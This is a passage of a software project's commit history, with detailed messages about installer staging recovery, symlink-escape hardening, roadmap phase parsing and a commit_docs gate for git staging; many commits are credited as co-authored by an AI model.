itself blind. This guard protects the whole install tree. Recovery no longer throws: it degrades per entry and per file, so one bad batch cannot block the others. Previously an unrecoverable entry propagated out of the first statement of install and uninstall, before the cleanup that would have removed it - wedging the installer permanently. Partial fs adapters now throw on any omitted method instead of silently reaching the real filesystem, closing the trap that let a test poison list pass while real IO happened. Staged names must be flat, recovery refuses a dangling destination symlink, and a batch whose recovery genuinely failed is no longer swept - it was discarding the only durable copy of the file it had just failed to restore. Replaces three tests that could not fail, including the one labelled negative proof. Known limitation, documented not closed: concurrent installs sharing a staging key can still lose a batch. A real fix needs a cross-process lock. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * enh(#2875): make the descriptor authoritative for the agents kind Deletes the inline agent-staging loop in bin/install.js and the _DESCRIPTOR_AGENTS_RUNTIMES set, so every runtime materializes agents from its capability descriptor instead of an inline hostBehaviors dispatch. Closing it needed three pieces of contract the descriptor pipeline never had, all reducible to one missing input - per-agent resolution context: a frontmatter-extensions step for claude's effort and disallowedTools, per-agent model-override resolution for kilo and opencode, and a named branding converter for hermes, whose rewrite data was already declared. Seven runtimes were on the loop, not the six the design recorded - kimi-code was found by a golden fixture, not by analysis. claude-local and kimi-code both silently lost their agents mid-change; the fixtures caught both and the cause was fixed rather than the fixtures regenerated. A parity harness gates the migration: both pipelines over identical inputs, byte-identical output including filenames, per runtime. It is demonstrated red before being trusted. Surface and install paths converge for all seven, which also fixes surface previously writing no agents for these runtimes. Codex's config.toml strip stays put - it mutates host config, which no descriptor kind models. Also routes install-model-override-resolver and install-effort-resolver through the install fs seam. Both leaked real filesystem IO from the install call tree; the stricter adapter is what exposed them. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): record the agents-descriptor migration and correct the ADR count The _DESCRIPTOR_AGENTS_RUNTIMES allow-list no longer exists, so the host integration guide told readers to join a set that is gone. Replaces that with what is now true - declare an agents entry and it installs, on the surface path as well as install - and points anyone needing a per-agent transform at the three extension points rather than at a new inline branch. Corrects the ADR amendment: seven runtimes were on the inline loop, not six. kimi-code was found by a golden fixture going red, not by reading. That is the third short count this phase, all from enumerating by symbol or set membership when the thing that matters is a behavior. Adds the Changed changeset for the surface-path convergence. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): amend ADR-2866 - claude global always wrote agents on disk The claude row's global=[skills] described what capability.json declared, not what the installer wrote. bin/install.js's inline agent-staging loop was never scope-gated and never consulted the descriptor, so a claude --global install has always written agents/gsd-*.md. Phase 6 closes the gap by deleting that loop and declaring agents on claude's descriptor at global scope. On-disk bytes are unchanged - the golden fixtures did not move, which is the evidence that the descriptor, not the installer, was incomplete. #2218 is unaffected: agents are not trigger-bearing, so the wider row does not introduce a new shadowing case. Records the warning that an incomplete descriptor is invisible while a second code path silently does its work, and only surfaces when the two are forced into agreement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close review findings across staging, agents and the parity harness Two independent reviews of this branch found defects the local gates missed. Security: a dangling symlink at a migration destination allowed writing outside configDir - the same class this change claimed to close, missed at the terminal write of the flow being added. The staging-root resolver threw as the first statement of install and uninstall, so a hostile symlink bricked both, and symlinked-configDir users lost uninstall as well as install; it now degrades instead of aborting. Recovery gained a source-side symlink check and now refuses a relative destDir, which resolved against cwd. Converter dispatch gained a runtime allowlist - lint-time validation stopped mattering once this branch promoted that dispatch from the surface path to real installs. Correctness: claude --local --minimal exited 1 because the minimal profile legitimately yields zero agents and the new path treated that as a failure. cline --local silently lost its agents - its descriptor declared none while the deleted loop wrote them unconditionally. The agents prune was widened to any gsd-* entry and destroyed user files it never owned. The parity harness, on which the migration's safety argument rested, drove a synthetic registry and never byte-compared the shipped descriptors; two of its trap rows could not fail. It now drives the real registry across 13 runtime-scope rows including kimi-code and cline-local, and its red-proof is demonstrated by corrupting a live capability.json. Three goldens that had encoded the cline regression as expected behavior were corrected. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close findings from both mandated review engines /security-review found the staging source-side walk honouring GSD_ALLOW_SYMLINKED_DEST, an opt-in documented as relaxing only the write destination. A symlinked files/ component dereferenced because copyPreservingSymlink lstats the leaf only, so an intermediate link is followed. The source walk no longer honours the opt-in; the destination check still does. /code-review spec axis found this branch had reintroduced its own bug: migrateLegacyDevPreferencesToSkill's new symlink refusal threw unguarded after the legacy dir was wiped and before the staged batch was restored, so a planted symlink bricked uninstall permanently and orphaned the batch. Refusal kept, abort removed. kimi-code local silently lost its agents, the same class as the cline bug, and the parity harness recorded that exclusion as intentional - the third test in this branch to pin a regression as correct. --minimal now creates an empty agents/ dir that never existed. Behaviour restored rather than softening the changeset, so its byte-identical claim stays true. Standards axis: try/finally removed from twelve test bodies, fast-check properties added for parseOwnerPid, boundary coverage at the grace window and the ancestor-probe depth, a parity assertion for the staging-root helper duplicated across two files, and the 8-deep config walk deduplicated. Records 60-review.json with every finding and disposition from five passes, including the smells left unfixed and why. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): prune stale agents unconditionally in minimal mode The previous round stopped an empty agents/ directory being created when the resolved profile yields no agents. That was implemented by skipping the agents kind entirely, which also skipped its stale-agent prune - so a full to minimal downgrade left stale gsd-* agents behind. The deleted inline loop pruned unconditionally and only skipped writing. Those are three separate conditions, not one: prune always, write only when there is something to write, create the directory only when writing. Both call sites now run _removeGsdEntries before the empty-staged early exit. The symlink-escape guard moved with it, since the prune also touches dest. Codex .toml agents and the config.toml stanzas are cleaned again, and user-owned agents are still preserved. The agents/ directory is left in place after a prune empties it, matching every sibling kind - none of them remove the destination directory itself. Golden fixtures confirmed byte-identical: the prune is a no-op on a fresh install, so fixture generation is unaffected. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): document interrupted-install recovery for user-owned files The durable-staging fix is invisible to the user it protects. Someone whose install died mid-flight has no way to know USER-PROFILE.md was staged before the delete, that the next run restores it, or that recovery happens at the start of that run rather than in the background. Written as the task the user has - finish the interrupted command - rather than as a description of the mechanism, and states what it will not do: overwrite a file already present, or touch staging belonging to another install still running. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2875): backfill changeset pr number Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#2875): assert the J8 model override without building a regex CodeQL flagged incomplete string escaping: the assertion interpolated the override value into a RegExp while escaping only forward slashes, which is meaningless in a constructor, leaving real metacharacters unescaped. The failure direction was the dangerous one - a metacharacter would have made the match more permissive, so the row would pass when it should fail. That matters here because J8 exists precisely because an earlier revision was a tautology; the rewrite reintroduced a different way for the same assertion to stop discriminating. Replaced with a line-wise exact match, so no regex is constructed at all. Swept the other test files this branch adds; no sibling instances. lint:ci passed on the original - lint-no-adhoc-regex-escape matches a full metachar-escape copy, so a single slash replace slipped under it. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
dfc4c69e3d |
fix(#3577): recognize markdown-table phase rows across the roadmap enumeration family (#3599)
* test(#3577): pin table-declared phase resolution across all four surfaces Failing-first regression for #3577: a GFM table phase listing (Phase header, id in the first data cell) declared real phases that roadmap.analyze, roadmap.get-phase, init.phase-op, and the milestone filter all reported as absent (phase_count: 0 / found: false). Rows pin the lookup, the scope probe, the analyzer, schema discrimination against the canonical RoadmapProgress table, fenced-example exclusion, heading+table union without double-count, decimal ids, and the 999 icebox exclusion. * fix(#3577): recognize markdown-table phase rows across the enumeration family A GFM table whose header leads with Phase and whose data rows carry the id in the first cell is a phase listing — the #2199 bullet blind spot's table sibling. collectTablePhaseRows (schema-discriminated against the canonical RoadmapProgress table via matchTableSchema, fence-aware via stripFencedCode, digit-bearing id shape, 999 icebox excluded) now feeds: the milestone filter's sole owner scanMilestonePhaseIds, window classification hasPhaseEntries, both roadmap lookup chains (getRoadmapPhaseInternal + cmdRoadmapGetPhase, as last-resort tiers after heading and bullet), and roadmap analyze's enumerator (with the same disk enrichment contract as headings and a zero-pad-tolerant duplicate guard). init.phase-op resolves through its existing getRoadmapPhaseInternal fallback. * fix(#3577): GFM table termination + icebox word boundary in the table scan Review findings: the row harvest broke only on blank lines, so prose after a table (a bare date line) could be harvested as a phase id — rows now stop at the first non-row line per GFM semantics; the 999 icebox exclusion gains the heading scan's word boundary so 9991 is kept. * fix(#3577): sanction collectTablePhaseRows in the enumeration drift scanner The scan's local 999-only exclusion mirrors its parent owner scanMilestonePhaseIds' deliberate NOT-isSentinelPhaseId choice (a leading 0 is a real decimal phase, #2554), so it cannot route through the sentinel owner — function-scoped exemption with the documented reason, same entry shape as the #3262 owner's. * chore(#3577): add changeset fragment * chore(#3577): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
5f64d999dc |
fix(#3586): warn when .planning/ is gitignored but still tracked (#3598)
* feat(#3586): warn when .planning/ is gitignored but still tracked git ignore rules have no effect on files git already tracks, so a project that committed .planning/ before ignoring it keeps staging those files -- while commit_docs correctly resolves to false, which is exactly what makes the contradiction invisible. The probe lives in the SNAPSHOT BUILDER, not the rule: Rule.check may perform no ambient I/O (ADR-3180 8.1 rule 1, enforced by lint-planning-snapshot-bypass). buildPlanningTrackedField follows buildWorktreeHealthField's precedent -- injected execGit, bounded, degrading to UNREADABLE with a typed reason rather than throwing. W024 went inline instead only because no snapshot field carried its fact; that precondition does not apply here. W029 fires only on COMPLETE scope with ignored and tracked both true, so a degraded probe yields neither a finding nor a false all-clear, and the default project (tracked, not ignored) stays silent. The remedy is ADVISE-only -- --repair never untracks anything. * docs(#3586): document W029 and correct the health rule count CONFIGURATION.md documented the gitignore auto-detect without the caveat that ignore rules do not affect already-tracked files -- the very gap W029 exists to surface. Adds the caveat, the warning, its remedy, and why --repair will not act on it. CONTEXT.md's rule count was stale at 31 before this change (actual 32 through W028); corrected to 33 and pointed at the two other places the count is locked, so the next editor updates all three together. * fix(#3586): treat ls-files overflow as tracked, add CLI-level W029 tests Review findings. Security (minor, confirmed): execGit sets no maxBuffer, so Node's 1MB default applies to git ls-files. A .planning/ tree large enough to overflow it failed into git_list_failed and silenced W029 -- a false negative in exactly the large-history case most likely to have the real bug. Overflow is now treated as PROOF of tracking (the output was non-empty by definition) and resolves to tracked:true, scope COMPLETE, reason ok_truncated. Spec (major): test-matrix rows C1 and C2 were never implemented -- there was no CLI-level integration test at all, only rule-level ones. Both now drive the real validate-health dispatch and confirm W029 is reachable end-to-end. Known limit documented, not papered over: a deliberate git add -f under an otherwise-ignored .planning/ raises the same signal as the accidental case. There is no reliable way to tell them apart, the finding is advisory-only, and a heuristic that cannot actually distinguish them would be worse than the honest caveat. * test(#3586): update frozen health-doc counts and acknowledge health.md growth The remote matrix caught three gates that lint:ci does not cover. gen-health-docs.test.cjs froze a 35-row / 32-rule assertion; W029 makes it 36/33. Updated both the assertion and the test NAME, which embeds the counts -- a stale name is a lie even when the assertion passes. The second reported failure was the same assertion surfacing at describe-rollup granularity, not a distinct bug. emitted-attribution's growth arm needed an ack for the generated health.md. health.md was already named in 3309-health-docs-generated.json, and two ack sources naming one path is a hard error -- so a new fragment was not an option. That fragment's own history shows the pattern: #3309 created it, #2873 amended it in place for W028. Amended again for W029, with a note recording why this one file is amended rather than joined by a sibling. * docs(#3586): add the private-planning how-to and fix a wrong link docs/CONFIGURATION.md pointed 'Configure private planning' at how-to/configure-model-profiles.md -- an unrelated page -- and no private-planning how-to existed at all. Found while editing that section. The how-to test genuinely fires here: going private is four steps and crosses planning.search_gitignored, a setting owned by another concern, so a reference table structurally cannot carry it. The new page walks the whole sequence and leads with the step people miss -- .gitignore does not untrack what git already tracks -- which is the exact state W029 now detects. Also corrects 'artefacts' to 'artifacts' (repo house style is American). * chore(#3586): backfill changeset pr number to 3598 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
ec7e49a64c |
fix(#3576): repair all 43 dead references/ cites and gate the canonical resolvable form (#3596)
* test(#3576): gate shipped reference citations on the canonical resolvable form Failing-first gate for #3576: a backticked bare references/<name>.md cite resolves from no install location (agents, workflows, and references all install where a bare relative references/ path is dead). The gate walks the runtime-loaded trees the issue prescribes, strips @~/ include tokens PER-TOKEN (a line-skip guard would miss a bare cite sharing a line with an include — the issue-named trap), pins the genuinely relative ../ href and canonical forms as non-offenders, and checks canonical cite targets exist. 43 offenders today across 19 files. * fix(#3576): repair all 43 dead references/ cites to the canonical resolvable form Every backticked bare references/<name>.md cite across the 19 shipped files rewritten to gsd-core/references/<name>.md — the form every required_reading block and @~/ include already uses, and the only form that resolves from any install location. All 20 cited targets verified to exist; the one genuinely relative href (plan-phase.md's ../references/mvp-concepts.md) is untouched (the repair is backtick-anchored). Growth acks: new fragment for the three first-time paths, #3206-pattern appends to the five fragments already naming the other grown files (two ack sources may never name the same path). execute-phase.md lands at 93,391/93,400 and gsd-executor.md at 49,150/49,152 — exactly the issue's projections; every repair fits. * fix(#3576): drop stale default.md growth ack (nested modes file is hash-attributed, not growth-ratcheted) Review finding: the emitted-attribution ratchet covers only top-level workflows/ + agents/ files; discuss-phase/modes/default.md's delta is source-attributed, so acknowledging its growth is a stale entry the differential lane fails on. * chore(#3576): add changeset fragment * chore(#3576): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
98ecb2ba8c |
enhance(#2142): archive quick tasks at milestone close-out (#3592)
* test(#2142): failing-first coverage for quick-task archival at milestone close-out * enhance(#2142): archive quick tasks at milestone close-out * fix(#2142): resolve review findings — readme injection, move/reset ordering, owned state write * fix(#2142): fold archival under milestone namespace, expose index IR, dedupe reset decision * test(#2142): assert archive-dir-relative summary path in index IR * docs(#2142): backfill changeset pr number to 3592 * test(#2142): skip newline-fixture injection test on windows (control chars illegal in path names) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
b08af152e4 |
fix(#3573): keep the stored total_phases when the roadmap is absent at state-write time (#3595)
* test(#3573): pin stored-total retention when the roadmap is absent at state-write time Failing-first regression for #3573: with ROADMAP.md absent and a milestone asserted, every state.* write persisted the phase-directory count as progress.total_phases (5 -> 1 in the issue) — only STARTED phases count, quietly defeating #549's single source of truth. Rows pin the stored-value outcome + stderr warning across record-session and begin-phase, the fresh-project doctrine (no milestone asserted -> dir count stays), and the roadmap-present control. * fix(#3573): keep the stored total_phases when the roadmap is absent at state-write time The #3354 withhold covered milestoned-but-unbounded roadmaps but not the roadmap-absent shape: with ROADMAP.md unreadable the #549 heading counter never runs, milestoneBounded is vacuously true, and every state.* write persisted the phase-directory count as progress.total_phases — counting only STARTED phases (5 -> 1 in the issue). When the STATE asserts a milestone (storedMilestone), the stored frontmatter total now wins and a (#3353)-style stderr warning names the condition; with no asserted milestone the disk count stays authoritative (fresh-project doctrine). * fix(#3573): thread stored milestone into the state json read for write/read parity; discriminate the doctrine row; pin planned-phase Review findings: cmdStateJson passed storedMilestone=undefined so the new withhold never fired on the read surface — state json reported the dir count while the persisted file preserved the stored total (exactly the divergence #3354 closed for its shape). The fresh-project doctrine row now uses stored 5 vs dirs 2 so a milestone-gate-less withhold mutant cannot survive it; the third issue-named verb (planned-phase) is pinned. * chore(#3573): add changeset fragment * chore(#3573): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
7c649a9970 |
fix(#3585): close raw-git bypasses of the commit_docs gate (#3590)
* test(#3585): repo-wide guard for unguarded .planning/ git add Replaces the two-file #1783 scan, which required .planning/ on the git add line and so was structurally blind to fast.md's `git add -A` and to new-milestone.md (never scanned). Extracts the shell tokenizer, comment-position rule and gsd-scan-ignore marker from the #2269 guard into tests/helpers/shipped-command-scan.cjs so both guards consume one implementation. Commit-specific logic stays in commit-files-pathspec.test.cjs; every pre-existing test there passes unedited. Fails RED on five sites: fast.md:58, new-milestone.md:262, spec-phase.md:480, eval-review.md:148, ai-integration-phase.md:263. The last three carry a markdown prose conditional outside the bash block it claims to guard. * fix(#3585): close raw-git bypasses of the commit_docs gate Five shipped workflow steps staged .planning/ with raw git. Two had no check at all; three had a markdown prose conditional sitting outside the bash block it claimed to guard, so the block ran unconditionally. spec-phase, eval-review and ai-integration-phase now route through the gsd_run query commit seam, which performs the commit_docs and gitignore checks internally and returns a skipped envelope -- this deletes the raw git pair rather than wrapping it. new-milestone stages directories for a later commit and cannot use the seam, so it takes the executable guard form, fail-open on a tooling error. fast writes no planning artifacts and has no gsd_run in scope at that point, so it excludes .planning via pathspec instead of reading config. Guard now reports 0 offenders. * test(#3585): pin skipped_gitignored to production behavior COMMIT_REASON was a test-local frozen enum joined to production only by a hand-maintained keep-in-sync comment -- the Generative Fix Divergence class, whose required remedy is a parity assertion. B1-B3 already pinned SKIPPED_COMMIT_DOCS_FALSE. SKIPPED_GITIGNORED was pinned by nothing: production could rename it and every test still passed. G1-G3 drive the gitignore auto-detect path and assert the canonical reason. The fixture must OMIT .planning/config.json entirely -- with config.json present the loader resolves commit_docs to false first and cmdCommit returns skipped_commit_docs_false, never reaching its own isGitIgnored branch. * docs(#3585): document the planning commit gate and its guard CONTEXT.md had zero commit_docs entries. Adds a Planning Commit Gate glossary entry covering the resolution chain, the typed skip envelope, the measured ordering of the two reason codes, and why the gate is enforceable only as a text guard. CONTRIBUTING.md gains the contributor rule for the new guard, with the prose-is-not-a-guard example that caused three of the five defects. * fix(#3585): address review findings in the planning-add guard Spec review (blocker): fast.md excluded .planning unconditionally, changing behavior for commit_docs=true users and violating epic AC4. Now gated -- the launcher preamble was MOVED from log_to_state into the commit block rather than copied, so gsd_run is in scope for +4 lines instead of +4KB, and the else branch is byte-identical to the previous git add -A. Security review (major): git -C <dir> add was a false negative because the flag-skip loop never modelled flags that consume a separate value. Fixed for -C/-c/--git-dir/--work-tree/--namespace. The fail-closed rule now also covers $(...) substitution args and --pathspec-from-file, which were opaque in the same way $VAR is. git commit -a/-am is now classified as reaching, since it stages every tracked modification. Self-review: isSkippable treated any NAME= token as a skippable prefix, so V=$(git add -A) escaped -- the exact divergence the shared-helper extraction existed to prevent. Adopted the sibling predicate verbatim. eval, xargs, one-line function bodies and line-continuation remain blind and are now enumerated as declared limits in the guard docblock and CONTRIBUTING. The ifDepth clamp is defensive only: a 200k-case differential fuzz found no reproducing input, so its test is labeled a pin, not a failing-first test. * test(#3585): acknowledge emitted growth in three workflow files emitted-attribution has two arms: hash attribution AND per-file growth. The growth arm needs an acknowledgment even when every moved byte is attributable to the diff, which is why the first remote run went red on it. fast.md +417: the launcher preamble moved into the commit block so gsd_run is in scope for the commit_docs guard, plus the guard itself. new-milestone.md +281: the executable guard plus one line recording that the unstaged archive move is deliberate. spec-phase.md +21: reworded prose describing the skipped envelope. eval-review.md and ai-integration-phase.md shrank; no entry needed. * test(#3585): drop duplicate spec-phase ack, shrink its prose instead The base already acknowledges spec-phase.md (from #2733), and two ack sources may never name the same path. But a base-side ack is SPENT -- it cannot clear new growth -- so the two gates were in direct conflict: attribution wanted an ack, the ack lint forbade one. Resolved by removing the growth rather than the conflict. spec-phase.md's +21 was purely a prose reword; rewritten shorter, the file now shrinks 36 bytes against base and needs no acknowledgment at all. fast.md and new-milestone.md have no base ack and keep theirs. * chore(#3585): backfill changeset pr number to 3590 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
0c00ef4a6d |
fix(#3572): keep phase remove's STATE.md write single-block and drop the removed heading (#3594)
* test(#3572): pin single-frontmatter contract for phase remove STATE.md writes Failing-first regression for #3572: when the removed phase has a directory and the body lacks Total Phases/of-N, cmdPhaseRemove's no-op-guard bypass prepended the count field to the WHOLE file — before the opening fence — corrupting STATE.md into two frontmatter blocks. Rows also strengthen the #2640 coverage (whose first-match assertions pass even on a corrupted file) and pin the issue's ROADMAP-only control. * fix(#3572): keep phase remove's STATE.md write single-block and drop the removed heading from ROADMAP Two defects in the decimal-phase removal path: (1) the #2640 no-op-guard bypass prepended 'Total Phases: N' to the WHOLE file content, landing it before the opening fence and corrupting STATE.md into two frontmatter blocks; the field now inserts at the top of the BODY, after the closing fence (EOL-aware, frontmatter-less files unchanged in behavior). (2) updateRoadmapAfterPhaseRemoval matched the raw query token ('1.1') against the normalized zero-padded heading ('Phase 01.1:'), so the removed phase stayed in ROADMAP and the resync counted it; the heading, checklist, and progress-row matchers are now zero-pad tolerant, which also covers unpadded integer headings. * fix(#3572): clamp phase-count decrements at zero; harden EOL detection; pin controls Review findings: a stale 'Total Phases: 0' could decrement to -1 on the next removal (both the field and the 'of N' phrase now clamp at 0); insertStateBodyFieldAtTop detects EOL from the first line ending so an LF-dominant file with a stray CRLF cannot fall through to the raw prepend; the issue's insert-alone control is pinned; row 1 pins the body-field value (dir-count provenance) alongside the roadmap-derived frontmatter count. * fix(#3572): keep CRLF endings intact in the body-field insertion Green-run failure root cause: splitting on '\n' but re-joining on a detected '\r\n' doubled every carriage return in CRLF files. Split and join uniformly on '\n' so each '\r' stays attached to the line it terminated. * chore(#3572): add changeset fragment * chore(#3572): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |